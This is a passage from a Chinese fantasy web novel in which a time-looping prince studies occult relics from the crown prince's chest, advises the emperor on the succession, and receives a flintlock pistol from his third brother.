而最后发现的兽皮地图与泛黄纸页,则将这一切指向了某个遥不可及的、充满禁忌的“遗迹”。
两人谁都没有先开口,空气中弥漫着震惊过后的死寂,只有灯芯偶尔爆开的噼啪声,衬得殿内愈发寂静。
良久,周灵薇先一步从震撼中稍稍挣脱,但脸色依旧苍白。她向前一步,目光锐利地扫过箱中每一件物品,最终落在那钉魂偶上,声音低沉而清晰:“此偶……非同小可。非寻常厌胜。看其材质,似以‘沉阴玉’混合‘尸蜡’、‘百年棺木芯’等至阴之物塑成,又经秘法炮制,方能不腐不蠹,历久弥新。”
“这‘七煞锁心钉’更是以‘墓底阴铁’所铸,浸泡过七种至毒之物与横死之人的心头血,需在特定时辰、以特定咒法钉入,方能锁魂镇魄,阴毒无比。太子……不,拥有此物者,所图绝非仅仅是诅咒某人性命,恐怕是想……操控,或者,彻底夺取、封印某种‘存在’……”
她转向青铜盘,指尖虚悬于上,不敢触碰:“这星纹盘,看其构造,不仅用于推演定位,其上这些宝石镶嵌点……赤玉对应离火,墨晶对应坎水,青金石对应巽风……”
“这分明是布置‘夺天造化阵’一类逆天禁阵的辅助推演之器!此阵需引动地脉龙气,接引星辰之力,于特定时空交汇点发动,可改一地之气运,夺生灵之造化,甚至……逆转生死!只是早已失传,只在前朝野史**中偶有提及!”
“还有这金属板,”她看向那些深色基板,眼中充满困惑与敬畏,“此等材质,闻所未闻,见所未见。坚硬无比,又能完美承载、传导能量符文……绝非当世技艺所能为。倒像是……传说中某些上古遗族,或失落文明的手笔。”
周昕阳听着二姐的分析,只觉得一股寒意顺着脊椎攀升。太子东宫私藏如此多的禁忌之物,所谋之事,恐怕已远超“谋逆”二字。
这绝非他一人之力所能收集、理解、运用的。
其背后,必然站着一个精通邪术、机关、古史的庞大阴影!是“墨家遗族”?
还是其他什么不为人知的隐秘势力?
那个神秘的老道士究竟是什么人?
他为什么要将这些东西交给太子来保管?
种种疑惑,涌上心头。
周昕阳深吸一口气,将纷乱的想法,尽数压制下来,他拿起那张兽皮地图,就着灯光仔细查看。
地形诡异,标注的星辰符号与青铜盘、星纹盘隐隐呼应。
其中一个用朱砂重点圈出的位置,位于一片扭曲的山脉环绕之中,旁边标注的符号,与“璇玑遗迹”、“地脉之眼”等词语旁的符号有几分相似。
“这张图……”周昕阳沉吟道,“所指之地,似乎并非中原任何已知所在。看这山脉走势,倒像是……”
“像是前朝《山海异闻录》中,曾含糊提及的‘西南绝域,十万大山深处,有上古遗墟,星坠之地’。”周灵薇接口,眉头紧锁,“但那只是荒诞不经的传说,从未有人证实。若此图所指为真……”
“若为真,”周昕阳声音冰冷,“那就意味着,太子,或者他背后的人,不仅仅在京城搞巫蛊厌胜,更在寻找、甚至可能已经找到了某个蕴藏着巨大秘密或力量的……上古遗迹。这些箱子里的东西,或许就是用来开启、利用那遗迹的‘钥匙’或‘祭品’的一部分!”
这个推测,让两人同时感到一阵心悸。
如果太子真的勾结了某个掌握禁忌知识与力量的隐秘势力,意图染指上古遗迹之力,那其威胁,将远超简单的宫廷政变,可能动摇国本,祸及天下!
“还有这个,”周昕阳拿起那个无缝方匣,掂了掂,入手沉重,“里面会
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是什么?与这遗迹相关的更核心的秘密?还是……某种更危险的东西?”
他又看向那玉瓶和旁边的冥罗花瓣、厌胜钱。
“这些,显然是进行某种邪恶仪式所需的媒介和引子。仪式的主持者是谁?目的是什么?与那遗迹又有什么关系?”
疑问如山,压得人喘不过气。
但周昕阳知道,现在不是慌乱的时候。他迅速冷静下来,思路变得清晰。
“二姐,”他沉声道,“今夜之事,绝不可泄露半分。箱中这些物件,件件骇人听闻,牵扯巨大。尤其是这钉魂偶、星纹盘和地图,一旦走漏风声,必引轩然大波,打草惊蛇。”
“我明白。”周灵薇重重点头,“但这些东西留在此处,终究是祸患。尤其这钉魂偶,邪气深重,长久接触,恐伤及无辜,也可能被其主人感应或远程操控。”
“先封存。”周昕阳做出决断,“用多层油布、铅盒,最好再找些朱砂、符纸包裹隔绝。然后,秘密运出东宫,找一个绝对安全、隐秘、且能镇得住邪气的地方存放。我亲自去禀明父皇,让父皇过来观看,这里面的东西,我们不能私自做主。”
“好。”周灵薇表示赞同,“但处理这些物件需万分小心。尤其是这钉魂偶和玉瓶,绝不可用手直接触碰,最好以桃木或玉制工具夹取。封存时,周围需布置简单的辟邪阵法。”
“此事就劳烦二姐了。”周昕阳看向她,目光恳切,“你对这些禁忌之物了解最深,由你主持封存,最为妥当。我会让冷千嶂调派绝对可靠的宸察卫协助,并**息。”
“好。”周灵薇没有推辞,眼中也闪烁着决然。此事关乎社稷安危,更是触及了她作为学者对未知与禁忌的探究本能。
安排妥当,周昕阳的目光再次落回箱中。他的手指,无意识地抚过怀中那枚冰冷的银壳怀表。
表盘上,【5:15】的刻度清晰可见……
时间还早……
能做点事情了……
周昕阳看向自己的二姐:“我现在就去找父皇汇报此事。”
第121章 求见昭明帝
周昕阳站在敞开的铁箱前,目光再次扫过那些令人心悸的物件,脑海中却已如冰湖般冷静。
他清楚,这一轮循环,或许就是破局的关键。
现实中的他,正被沈砚严密监控,押送回京。而根据之前循环所知,二皇子周·炜廷在太子被废后,已暗中掌控了不少权柄,正虎视眈眈。若按原时间线,他这般毫无根基、又“知道太多”的藩王回京,最好的下场也是被圈禁至死,更可能被悄然除去。
不,绝不能坐以待毙。
梦境能改变现实。这是他用无数次死亡验证的铁律。
虽然改变的“度”和“方式”尚不明晰,但眼前,就是最好的机会——趁着打开铁箱、手握惊天秘密、父皇亟需了解内情的此刻,将未来的危机,以“推测”和“警示”的方式,提前埋入父皇心中!
他要借父皇之手,改变既定的棋局!
“二姐,你在此主持封存,务必小心。我立刻去见父皇。”周昕阳对周灵薇嘱咐一句,转身大步走出偏殿,对守在外面的冷千嶂道:“冷千户,随孤立刻进宫面圣!有十万火急、关乎社稷安危之事禀报!”
夜色中的皇宫,肃穆而沉寂。
养心殿的灯火,在深夜依旧通明。
昭明帝一夜未眠。
当内侍通传泽川王有紧急要事求见时,他并未因深夜被打扰而发怒,只是眉头微蹙,眼中闪过一丝深沉的思量。
“宣。”
周昕阳步入殿中,神情凝重,衣衫上还带着东宫偏殿的尘埃与一丝若有若无的、来自箱中邪物的阴冷气息。他手中捧着那个以锦缎小心包裹的钉魂偶——这是最具冲击力、也最能直观说明问题的一件证物。
“儿臣参见父皇。”周昕阳大礼**,声音沉肃。
“平身。”昭明帝的目光落在他手中的包裹上,“小老九,深夜求见,所谓何事?可是那铁箱……打开了?”
“回父皇,铁箱已开。”周昕阳起身,将锦缎包裹小心放在御案前的地上,并未直接呈上,“然箱中之物,非儿臣所能预料,亦非儿臣敢擅专处置。儿臣特来请父皇圣裁,并……有肺腑之言,不得不禀。”
“哦?”昭明帝身体微微前倾,目光如炬,“箱中是何物?讲。”
周昕阳深吸一口气,缓缓揭开锦缎一角,露出那枚被“七煞锁心钉”贯穿胸膛的暗沉人偶。即便隔着距离,那阴寒邪异的气息仍让殿中温度仿佛下降了几分。
昭明帝瞳孔微微一缩,虽未惊呼,但放在龙椅扶手上的手指,已悄然握紧。
“此物,名‘钉魂偶’。”周昕阳声音平静,却字字清晰,将二姐关于其材质、炼制、功用的分析,择要陈述。“此非寻常厌胜,乃是最顶级的阴毒咒物,可锁魂镇魄,操控心神,甚至……夺人造化。炼制之法早已失传,所用材料皆属禁忌。”
他顿了顿,看向昭明帝:“父皇,此物出自东宫铁箱。而据儿臣所知,炼制、使用此物,需极高深的邪术修为与庞大的资源支持。太子……恐怕没有这个能力,也没有必要。他若只想谋逆,玉玺龙袍足矣,何需此等阴诡之物?”
昭明帝眼神锐利如刀,紧紧盯着周昕阳:“你的意思是?”
“儿臣怀疑,太子背后,另有其人。”周昕阳一字一顿,“此人,或此势力,精通失传的邪术、古史,乃至机关星象。箱中还有与之配套的星纹推演盘、奇异金属板、无缝方匣、以及疑似仪式媒介的玉瓶、厌胜钱。更有一张兽皮地图,指向西南绝域传说中的‘上古遗迹’。”
他将箱中其他物品及其可能用途简要说明,最后总结道:“儿臣推测,有人利用太子身份,收集这些禁忌之物,所图绝非仅仅是东宫之位。其真正目标,可能是那传说中的‘上古遗迹’,或遗迹中蕴藏的某种……超越世俗的力量。而太子,或许只是被利用的棋子,甚至……可能是被这钉魂偶暗中影响、操控的目标之一。”
这个推断,比单纯的“太子谋逆”更加骇人,也更能解释为何铁箱需要“璇
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玑枢”这等神物封锁,为何箱中之物如此诡异不凡。
昭明帝陷入了长久的沉默。殿内只余灯花轻爆之声。他身为帝王,自然知晓许多常人不知的隐秘,对“上古遗迹”、“禁忌之力”并非全然不信。周昕阳的推断,虽大胆,却并非毫无可能,而且完美解释了太子的某些异常和铁箱存在的意义。
“你之所言,可有实证?”良久,昭明帝缓缓开口,声音听不出喜怒。
“钉魂偶、星纹盘等物皆是实证。至于幕后之人……儿臣尚无确凿证据。太子口中的老道士,或许是关键。”周昕阳坦然道,“但儿臣以为,当务之急,并非立刻揪出此人,而是防患于未然。”
“如何防患?”
周昕阳拱手道:“第一,立刻秘密、妥善处置箱中邪物,绝不可令其流散,更不能让幕后之人知晓箱子已开、我等已洞悉其部分图谋。此可由二姐主持,请钦天监高人协助,寻一绝对隐秘安全之处封存**。”
“准。”昭明帝点头。
“第二,”周昕阳话锋一转,语气更加凝重,“幕后之人所图甚大,且能渗透东宫,其能量不容小觑。若其察觉计划受阻,或会狗急跳墙。而今,朝中局势……暗流汹涌。”
他抬起头,目光坦然迎向昭明帝审视的眼神:“父皇,请恕儿臣直言。太子被废,储位空悬。大哥……已无可能。而眼下,有能力、也有意愿角逐那个位置的,不外乎二哥与三哥。”
昭明帝眼神微动,却不置可否:“继续说。”
“二哥,砥亲王,性情果决,素有军功,在朝中亦有根基。然其性情……刚愎阴鸷,为达目的,不择手段。”周昕阳斟酌着词句,参考着之前循环中对昭明帝心思的把握,“若在太平年月,或可为守成之君。但如今,内有此等阴诡势力潜伏,外有强邻环伺,更可能牵扯上古禁忌……需要一位能镇得住局面、且能容人、尤其能容得下兄弟的君主,方能使朝堂稳固,一致对外,不给幕后黑手可乘之机。”
第122章 直指核心
他顿了顿,声音压低,却更加清晰:“二哥若上位,为固权位,必行削藩,打压兄弟。届时朝堂内耗,人心惶惶,正是那幕后势力兴风作浪之时!此绝非社稷之福,亦非父皇所愿见!”
这番话,几乎点破了昭明帝心中最大的隐忧。之前循环中,昭明帝就曾暗示过对二皇子性情的不满,和对三皇子某种程度的可塑性的考虑。
昭明帝深深地看着周昕阳,这个他平时并未过多关注的小儿子,今夜的表现,一次次超出他的预料。不仅能打开千古奇锁,更能透过表象,直指问题核心,甚至隐隐摸到了自己立储的某些心思。
“你觉得,焕章(三皇子)比炜廷(二皇子)更合适?”昭明帝的语气听不出偏向。
“三哥性子敦厚,或许机变稍逊,但能听得进劝谏,容得下人。更重要的是,”周昕阳加重语气,“他无二哥那般酷烈的手段,不会在此时引发兄弟阋墙之祸。朝堂稳定,方能全力应对那隐藏在暗处的威胁。况且,三哥并非庸才,若有能臣辅佐,假以时日,未必不能成为一代明君。”
“能臣辅佐?”昭明帝捕捉到这个关键词,眼中闪过一丝玩味,“你指的是谁?你自己吗?”
周昕阳心头一跳,知道这是关键试探。
他立刻躬身,语气诚恳而坦然:“儿臣不敢自诩能臣。但儿臣愿为父皇分忧,为社稷尽力。无论是追查这箱中邪物的幕后主使,还是……在必要之时,为父皇、为未来的储君,做一些力所能及之事。”
他没有直接说要辅佐三皇子,但意思已不言而喻。
同时,他将自己的定位放得很清楚——是父皇的刀,是追查隐秘的先锋,也是未来可以制衡、辅助新君的一枚棋子,而非争权者。
昭明帝的手指在扶手上轻轻敲击,这是他深思时的习惯。
周昕阳的话,句句说在他心坎上。
铁箱的秘密,让他意识到了潜伏的、超越常规朝争的巨大危险。
而立储之事,也因此变得更加紧迫和微妙。二皇子的性格缺陷,在此刻显得尤为致命。
“你方才说,幕后之人可能狗急跳墙。”昭明帝忽然问道,“依你之见,他们会如何做?”
周昕阳知道,重头戏来了。他深吸一口气,说出了那个在现实时间线中已经发生、但在当前梦境中尚未发生的“未来”:
“父皇,请恕儿臣大胆揣测。那幕后势力既能渗透东宫,扶持太子,未必不能……接触、拉拢、甚至利用其他有实力的皇子!”
他抬起头,目光灼灼:“若他们察觉父皇属意三哥,或者察觉铁箱之事暴露,他们的图谋受挫……会不会转而支持二哥,甚至……怂恿二哥,行险一搏?”
“你是说……老二会反?”昭明帝的声音陡然变冷,整个养心殿的气压仿佛都低了几分。
“儿臣不敢断言。”周昕阳立刻道,“但儿臣以为,不得不防!二哥性情刚烈,若有人从中挑拨,以‘父皇偏袒老三’、‘祖宗法度不公’等为由,再许以重利,甚至……以那上古遗迹之力为诱饵……难保二哥不会鋌而走险!尤其是在储位迟迟不决,而他又自认为最有资格的时候!”
这番话,结合铁箱中那些指向“上古遗迹”和禁忌力量的物件,显得格外有说服力。
一个有能力制造“钉魂偶”、寻找上古遗迹的隐秘势力,完全有可能以此为筹码,诱惑、甚至协助一位有兵权、有野心的皇子发动政变!
昭明帝的脸色彻底阴沉下来。
周昕阳的推测,为他勾勒出了一幅极其危险的画面:朝堂立储之争,与暗处寻找上古遗迹的阴谋交织,最终可能引爆一场席卷天下的巨变!而二皇子,很可能成为这场风暴的中心!
“你待如何?”昭明帝的声音恢复了平静,但熟悉他的人知道,这平静之下,是滔天的怒火与决断。
“父皇,儿臣**!”周昕阳单膝跪下,语气决然,“请父皇准儿臣,暗中留意二哥动向,并继续追查铁箱幕后之人!此二事或许本为一体!同时,请父皇对三哥……多加看顾,亦可暗中考察、磨砺。至于儿臣……”
他抬起头,眼中闪过一
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丝锐利与无奈交织的光芒:“儿臣即将抵京,想必一举一动,早已在各方视线之中。儿臣愿为明棋,吸引暗中视线。但请父皇,务必保儿臣性命无虞。儿臣活着,对那幕后之人是威胁,对心怀叵测者是制衡,对父皇……或许还有些用处。”
他这是在交底,也是在求一道保命符。明确表示自己愿意当靶子,吸引火力,为父皇暗中布局争取时间和空间,但前提是父皇得保证他别真的被“消耗”掉。
昭明帝看着跪在下面的小儿子,目光复杂。
这个儿子,比他想象中更聪明,更通透,也更……懂得在绝境中为自己谋一条生路。他提出的方案,几乎是目前最稳妥、也最有可能破局的策略。
“起来吧。”昭明帝最终缓缓开口,“你之所虑,朕知道了。箱中之物,按你所说,由灵薇会同钦天监处置,务求隐秘。追查幕后之事,你可暗中进行,所需人手、权限,朕会让冷千嶂配合你。至于炜廷……”
他眼中寒光一闪:“朕自有分寸。你回京后,言行需谨慎,但也不必过于畏缩。朕倒要看看,有哪些魑魅魍魉会跳出来。”
这便是默许了周昕阳的整个计划,也意味着,昭明帝心中对二皇子的警惕已提到最高,对三皇子的倾向也已明朗。更重要的是,他给了周昕阳一道隐形的护身符和一定的行动自由。
“儿臣,遵旨!定不负父皇所托!”周昕阳心中大定,知道最关键的一步,成了。现实的时间线,从父皇此刻起,已然发生了偏移。
“至于你……”昭明帝看着他,语气意味难明,“好好活着。朕,还需要你这把刀,去劈开那些见不得光的迷雾。”
“是!”
周昕阳退出养心殿,夜风凛冽,心中却已定下后续行止。他抬头望了望天色,又看了一眼怀中怀表——【6:12】。
距离预设的苏醒时刻【9:15】尚有近三个时辰。时间,足够他再做一件至关重要之事。
他必须去见三皇子周焕章。目的明确——拿到那把名为“星火”的燧发手铳。
第123章 再见老三
在之前的循环中,他以“金鳞化龙”之喻试探,以“公平竞争”之名周旋,最终从周焕章那里得到了这把枪,以及一个关于其“贤名”实为伪装的秘密。但这一次,情况已然不同。
铁箱已开,惊天秘密揭露,幕后黑手的阴影与上古遗迹的威胁浮出水面。父皇的态度已然转变,对二皇子高度警惕,对三皇子有了倾向,更默许了他的“明棋”之策。此刻再去找周焕章,说辞、目的、乃至彼此的地位与心态,都已迥异于前。
无需再试探,无需再玩左右逢源的把戏。他要的,是更直接、更高效的“合作”,是基于父皇意志的、为应对未来剧变的“同盟”。
他熟门熟路地避开宫中巡夜的侍卫与暗桩,如同融入夜色的幽灵,悄无声息地来到三皇子在宫中的临时居所——一处相对僻静的宫苑。与东宫、养心殿的灯火通明不同,此处只余几盏孤灯,透出几分清冷。
周昕阳没有惊动门口的守卫,身形一闪,已从侧墙翻入,落地无声。
他记得周焕章的习惯,深夜常独坐书房。
果然,书房窗棂透出昏黄的光。
他轻轻叩了叩窗棂,节奏三短一长。
室内静了一瞬,随即传来周焕章略带惊疑的声音:“谁?”
“三哥,是我,老九。”周昕阳压低声音。
“吱呀——”一声,窗户被从内推开一条缝,露出周焕章惊愕中带着警惕的脸。“老九?你……你怎么来了?这个时辰?”他下意识地看向门外,压低声音,“快进来!”
周昕阳身形灵巧地翻窗而入,随手将窗户关好。
书房内陈设简雅,书卷盈架,周焕章身着常服,手中还拿着一卷书,显然被他突兀的到访惊得不轻。
“九弟,你……你怎么来了?深夜跑到我这里来?这太冒险了!”周焕章眉头紧锁,眼中满是担忧与不解。他自然知晓今夜东宫大变,也隐约猜到此事与周昕阳有关,但没想到对方会在这个时候来找他。
难道是东宫有什么变故了?
周昕阳没有立刻回答,而是走到桌边,自顾自地倒了一杯冷茶,一饮而尽,仿佛要冲淡喉间的干涩与疲惫。
然后,他转过身,目光平静地看着周焕章,开门见山:
“三哥,有些事情,我也不想瞒着你,太子造·反被抓的事情,是我做的。”
“嗯?”周焕章瞳孔微微一缩,他虽有情报来源,可具体的情报,他确实不知。
此刻听见周昕阳如此坦率的说出口,心中也是颇为震惊!!他放下手中的书卷,下意识地又朝紧闭的门窗看了一眼,仿佛怕这惊天秘闻会自己长翅膀飞出去。
“九弟,这真是你做的?”周焕章的声音压得极低,带着难以置信的审慎,“这话可不能乱说!你如何办到的?太子……他可不是易于之辈,东宫更是铁桶一般!”
“如此秘密,你是如何得知的?”
震惊之后,是更深的不解和一丝警惕。这个平日里不显山不露水、甚至因“梦魇”之症而被视为有些“疯癫”边缘的九弟,竟有如此能量和胆魄,能掀翻太子?
这背后意味着什么?
是父皇授意?
还是他自己所图更大?
周昕阳将周焕章的反应尽收眼底,知道对方此刻心中必然疑窦丛生,甚至可能怀疑自己是受人指使,或者包藏祸心。他需要给出一个足够有说服力、又能将对方与自己绑上同一条船的解释。
“三哥不必疑虑,”周昕阳语气平静,带着一种历经艰险后的疲惫与决然,“此事并非父皇授意,也非我蓄谋已久。实是机缘巧合,加上……太子自己,作孽太深,留下了无法遮掩的马脚。”
他走到桌旁,拿起墨笔,在一张空白宣纸上写下几个字,推给周焕章看。
纸上写着:“私制赭黄袍,私刻传国玺,东宫暗藏巫蛊,诅咒君父。”
字迹力透纸背,带着一股冰冷的杀气。
周焕章只看了一眼,便觉一股寒气从脊椎骨窜起,脸色瞬间煞白。“他……他竟敢……真到了这一步?!”私制龙袍玉玺已是十恶不赦,再加上巫蛊诅咒君父,这简直是自绝于天地!难怪父皇震怒,连夜封锁东宫!
“证据确凿,”周昕阳将纸张在烛火上点燃,看着它化为灰烬,“就在大慈恩寺,他母后捐铸的纯金不动明王佛像腹中暗格里。我已禀明父皇,想必此刻,宸察院的人已经将东西起获了。”
他顿了顿,看向惊魂未定的周焕章,语气带上了一丝深意:“太子行事如此猖狂悖逆,背后若无人撺掇、支持,甚至……提供某些非常手段,三哥觉得,可能吗?”
周焕章心脏狂跳,他瞬间联想到了更多。太子虽不算精明绝顶,但也绝非全然无脑的蠢货,敢如此肆无忌惮,除了对储位的渴望,恐怕真有人给了他某种底气或许诺。再结合周昕阳之前隐约透露的、铁箱中那些诡异物件……
“你是说……那个给太子提供这些东西的老道士?还有铁箱里的……”周焕章声音发干。
“正是。”周昕阳点头,“铁箱我已打开,里面所藏之物,比想象的更加骇人。”他快速将钉魂偶、星纹盘、兽皮地图等关键信息,以最简练的语言告知周焕章,尤其强调了其与“上古遗迹”、“禁忌力量”的关联,以及幕后可能存在一个庞大、隐秘、掌握着失传技艺与邪恶力量的势力。
周焕章听得目瞪口呆,几乎无法呼吸。
钉魂偶、夺天造化阵、上古遗迹……这些只存在于禁忌典籍和荒诞传说中的东西,竟然真的存在,而且就藏在东宫,与太子的谋逆案交织在一起!
这已经完全超出了普通宫廷斗争的范畴!
“所、所以太子不仅是谋逆,他背后还牵扯到这种……这种东西?”周焕章感觉自己的世界观都在摇晃,“那幕后之人,究竟想干什么?”
“所图非小。”周昕阳沉声道,“利用太子,或许只是他们计划的一部分。收集那些禁忌之物,寻找上古遗迹……他们的目标,恐怕是某种能颠覆现有秩序、甚至……触及生死禁忌的力量。而太子,不过是他们选中的一块垫脚石,甚至可能只是**控的傀儡。”
这个推断,让周焕章浑身发冷。一个隐藏在暗处、掌握邪术与上古秘密的势力,其威胁远超任何政敌!
“父皇……父皇知道这些了吗?”他急切地问。
“我刚从养心殿过来。”周昕阳看着他,目光深邃,“父皇已全数知晓。父皇已命二姐会同钦天监秘密处置箱中邪物。而父皇最担忧的,是此事引发的连锁反应,尤其是……那幕后势力,在太子这枚棋子失效后,会不会寻找新的目标?”
新的目标?
周焕章心中猛地一跳,一个名字几乎脱口而出——老二!周·炜廷!
二哥性格强势,手握权柄,野心勃勃,若那幕后势力以“上古遗迹”之力或“从龙之功”为诱饵……二哥会不会心动?甚至……合作?
这个念头让他不寒而栗。一个本就心狠手辣、不择手段的二哥,如果再得到那种诡异力量的支持……后果不堪设想!
“父皇的意思是……”周焕章的声音带着一丝自己都未察觉的颤抖。
“父皇的意思是,”周昕阳接过话头,语气斩钉截铁,“绝不能让那幕后势力的阴谋得逞,也绝不能再给朝堂带来更大的动荡和**。眼下,需要的是稳定,是能团结朝野、共御外邪的君主,而不是一个可能为达目的引狼**、甚至兄弟相残的野心家!”
他向前一步,目光灼灼地盯着周焕章:“三哥,父皇心中已有计较。太子被废,已成定局。而未来的储君,必须是一位能容人、能纳谏、以社稷安稳为重的仁厚之君。唯有如此,方能稳住朝局,不给那幕后黑手和任何内外敌人可乘之机!”
这番话,几乎是将昭明帝的倾向和选择摆在了明面上。周焕章心脏狂跳,血液上涌,但巨大的压力也随之而来。他从未如此清晰地意识到,那个至高无上的位置,竟然可能以这样一种方式、在这样一种凶险万分的背景下,向自己靠近。
“我……我何德何能?”周焕章下意识地退缩,脸上露出惯常的、混合着惶恐与不自信的神色,“二哥他名正言顺,能力也远胜于我。我……我只怕辜负父皇期望,更担不起如此重担……”
“三哥!”周昕阳低喝一声,打断他的自我怀疑,“此刻已非谦让之时!社稷危殆,暗流汹涌,非寻常守成可比!需要的不是开疆拓土的雄主,而是能凝聚人心、稳住大局的定海神针!你的敦厚、你的能容人、你的谨慎,在此时便是最大的优点!至于能力……谁又是生而知之?父皇春秋鼎盛,自有时间为你铺路,更有满朝文武、忠心能臣可供驱策!只要你肯学,肯听,肯以天下为重,假以时日,必能担此重任!”
他语气恳切,带着一种不容置疑的力量:“而我,愿助三哥一臂之力!无论是追查那幕后黑手,清除朝**瘤,还是……在必要之时,为三哥扫清障碍,稳固根基!”
这是明确的投效与结盟宣言。周焕章看着周昕阳年轻却坚毅的脸庞,心中涌起复杂的情绪。有感动,有震撼,也有深深的疑虑——老九如此尽心尽力帮自己,真的只是为了社稷?
他难道就没有自己的私心?
“老九,你……”周焕章欲言又止。
“三哥是担心我有所图?”周昕阳似乎看穿了他的心思,坦然一笑,“我图什么?图一个安稳。我身有‘梦魇’之症,在京中毫无根基,是最容易被拿来开刀的藩王。太子若在,我尚且能偏安一隅。如今太子被废,若让二哥上位,以他的性情,我们这些兄弟,
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尤其是曾与他有过竞争的,有几个能得善终?我帮三哥,便是帮我自己,更是为这大虞江山,求一个安稳的未来。这,便是我的‘私心’。”
这番话合情合理,将自己的处境与利益和周焕章、乃至整个皇族的未来绑定在一起,显得真实而无奈,反而更容易取信于人。
周焕章沉默了。
他仔细回味着周昕阳的每一句话,每一个表情。
从揭露太子罪证,到打开铁箱发现惊天秘密,再到分析幕后黑手的威胁和父皇的倾向,最后到直言不讳的投效与利益捆绑……整个过程逻辑严密,情报惊人,态度坦诚,几乎无懈可击。
更重要的是,周昕阳展现出的能力、胆识和对局势的洞察,远非一个普通的“疯癫”藩王可比。有这样一个人相助,对他而言,无疑是雪中送炭。
“老九……”周焕章长长地吐出一口气,仿佛卸下了千斤重担,眼神也逐渐变得坚定起来,“我信你。也……多谢你。”
他走到书架旁,如同上一次循环那样,取出了那本厚重的《十三州通史》,递给了周昕阳。“你深夜前来,情深义重,三哥惭愧。这个东西,你拿去吧。在我这里,它只是一件念想。在你手中,或许……能派上更大的用场。”
周昕阳接过,入手依旧是那份熟悉的沉重。他打开书册,天鹅绒衬垫上,那把名为“星火”的华丽燧发枪,静静躺着,闪烁着冷冽而危险的光芒。
“三哥……”周昕阳这次没有立刻收起,而是抬头看向周焕章,“此物是?”
“这是燧发枪,是我一个旧友的遗物。”周焕章开始讲述星**的往事,和某一轮梦境中如出一辙,“事情是这样的……”
“所以,九弟,你就不要推辞了。”
“此物给你防身,三哥我也放心。”
周昕阳点了点头:“此物我确实需要。一则防身,我已在京中,成为众矢之的,需有自保之力。二则……或许在某些关键时刻,能成为一张意想不到的牌。只是,这是你故友遗物,如此珍贵……”
“再珍贵,也是死物。”周焕章摆手,语气果决,“若真能助你成事,助社稷安稳,方不负它‘星火’之名,也不负我那故友将它赠我之心。拿去吧,连同这些特制的弹丸**,一并给你。”
他又从抽屉深处取出一个布袋,里面是数十颗打磨光滑的铅丸和一小包颗粒均匀的黑色**,“记住,万事小心。你将自己置于明处,凶险异常。这把枪……非到万不得已,不要轻用。但若真到了生死关头,不必犹豫。”
周昕阳不再推辞,珍而重之地将“星火”和弹丸**贴身收好,感受着那份沉甸甸的重量与冰凉,“三哥放心,我自有分寸。你也要多加小心,近日京城恐不太平,若有任何人以任何名义接近、拉拢,务必警惕,尤其是涉及‘上古’、‘遗迹’、‘秘法’之类的说辞。一切,以稳为主,以父皇的旨意为准。”
“我明白。”周焕章重重点头,眼中已褪去惶恐,多了几分沉稳与决意。“老九,京城之事,就拜托你了。我在宫中,也会小心行事,绝不给父皇和你添乱。”
“好。”周昕阳看了一眼怀表时间【7:45】,时间差不多了。“三哥,我该走了。记住,今夜你我之言,出你之口,入我之耳,绝不可为第三人知。包括……这把枪的去向。”
“我晓得轻重。”周焕章肃然。
周昕阳不再多言,对周焕章点了点头,身形一动,已如狸猫般悄无声息地翻出窗外,转瞬消失不见。
周焕章站在窗前,望着窗外已经大亮的庭院,手中不自觉地摩挲着那本已然空了的《十三州通史》外壳。书房内寂静无声,只有烛火跳动,将他的影子拉得忽长忽短。
今夜听到的一切,太过震撼,太过离奇,也太过……沉重。太子的疯狂,铁箱的诡秘,幕后黑手的阴影,父皇的期许,老九的投效与那把冰冷的“星火”……无数信息在脑海中翻滚碰撞。
他缓缓坐回椅中,闭上眼,深深吸了一口气,又缓缓吐出。
再睁开眼时,眼中只剩下一片深潭般的平静,以及一丝不易察觉的、破釜沉舟般的锐利。
金鳞,或许真的到了要化龙的时候了。
只是这风云,未免也太凶险了些。
他吹熄了烛火,书房内顿时被更深的黑暗吞没。
但几乎同时,清晨明亮的天光,已然无可阻挡地穿透窗棂上的细纱,驱散了室内最后一丝晦暗,将书案、书架、乃至他**的身影,都镀上了一层清冷而明晰的轮廓。
窗外,夜色已然彻底褪尽,天光大亮。
宫墙殿宇的剪影清晰可见,远处已有早起的宫人开始洒扫的细微声响传来。
新的一天,已然开始。
而这崭新的一天,注定与以往任何一天都截然不同。
第124章 梦境苏醒
周昕阳的身形在京城错综复杂的街巷与屋脊间快速穿行,如同掠过水面的雨燕,借着渐亮的天光与尚未完全苏醒的城市阴影,悄无声息地回到了他那座位于京城僻静角落、规模不大、也常年少有主人居住的泽川王府。
王府内一片寂静,只有几个轮值的老仆在洒扫庭院。
周昕阳没有惊动任何人,从后花园一处隐蔽的角门闪入,熟门熟路地避开寥寥无几的守卫,回到了自己那间陈设简单、久无人居的正房寝室。
周昕阳反手关上门,背靠着冰凉的门板,长长地、无声地舒了一口气。
连续一夜的高强度精神对抗、精密操作与紧张周旋,即便是以他经过多次梦境淬炼的意志,此刻也感到一股深深的疲惫如潮水般涌上。
周昕阳走到床榻边,和衣躺下,却没有立刻闭眼,而是从怀中掏出了那枚冰冷的银壳怀表,在指尖摩挲着。
表盖弹开,幽蓝的夜光表盘在略显昏暗的室内发出微弱而稳定的光芒。
【8:36】。
距离那个仿佛镌刻在灵魂深处的苏醒时刻——【9:15】,还有不到四十分钟。
时间,前所未有的紧迫,却又似乎格外漫长。
周昕阳的目光落在跳动的秒针上,脑海中却如同沸水般翻腾不休,反复推演、预判着这一次成功的梦境循环,可能对现实世界造成的种种改变。
首先,是铁箱与调查的走向。
这一次,他不仅打开了第四把锁,更亲眼见到了箱中那些骇人听闻的完整邪物——钉魂偶、星纹盘、无缝方匣、玉瓶厌胜钱,以及至关重要的兽皮地图与记载仪式步骤的纸张。
他将这一切,连同对幕后黑手与上古遗迹的推测,尽数禀明了父皇。
父皇已然震怒并高度重视,不仅下令秘密封存邪物,更默许了他继续追查,甚至隐隐将三皇子推向了前台。
那么,在【改变后】的现实里,太子谋逆案绝不会仅仅止于废黜太子、惩处长孙一族。
对那个神秘老道士以及其背后势力的追查,必然会在父皇的授意下,由宸察院甚至更隐秘的力量暗中启动。
箱中那些指向西南绝域、上古遗迹的线索,也一定会进入最高决策层的视野。整个事件的调查深度和广度,将远超现实中可能被二皇子有意淡化或扭曲的方向。
其次,也是最重要的,是皇权的归属与朝局态势。
现实中,二皇子周·炜廷成功发动宫变,篡权登基,成为了新的皇帝。沈砚作为其心腹,才会以那种押送囚犯般的态度监控自己回京。
但这一次,在梦境中,他已经成功地将二皇子可能被幕后势力诱惑、甚至可能铤而走险的致命警告,深深植入了父皇心中。
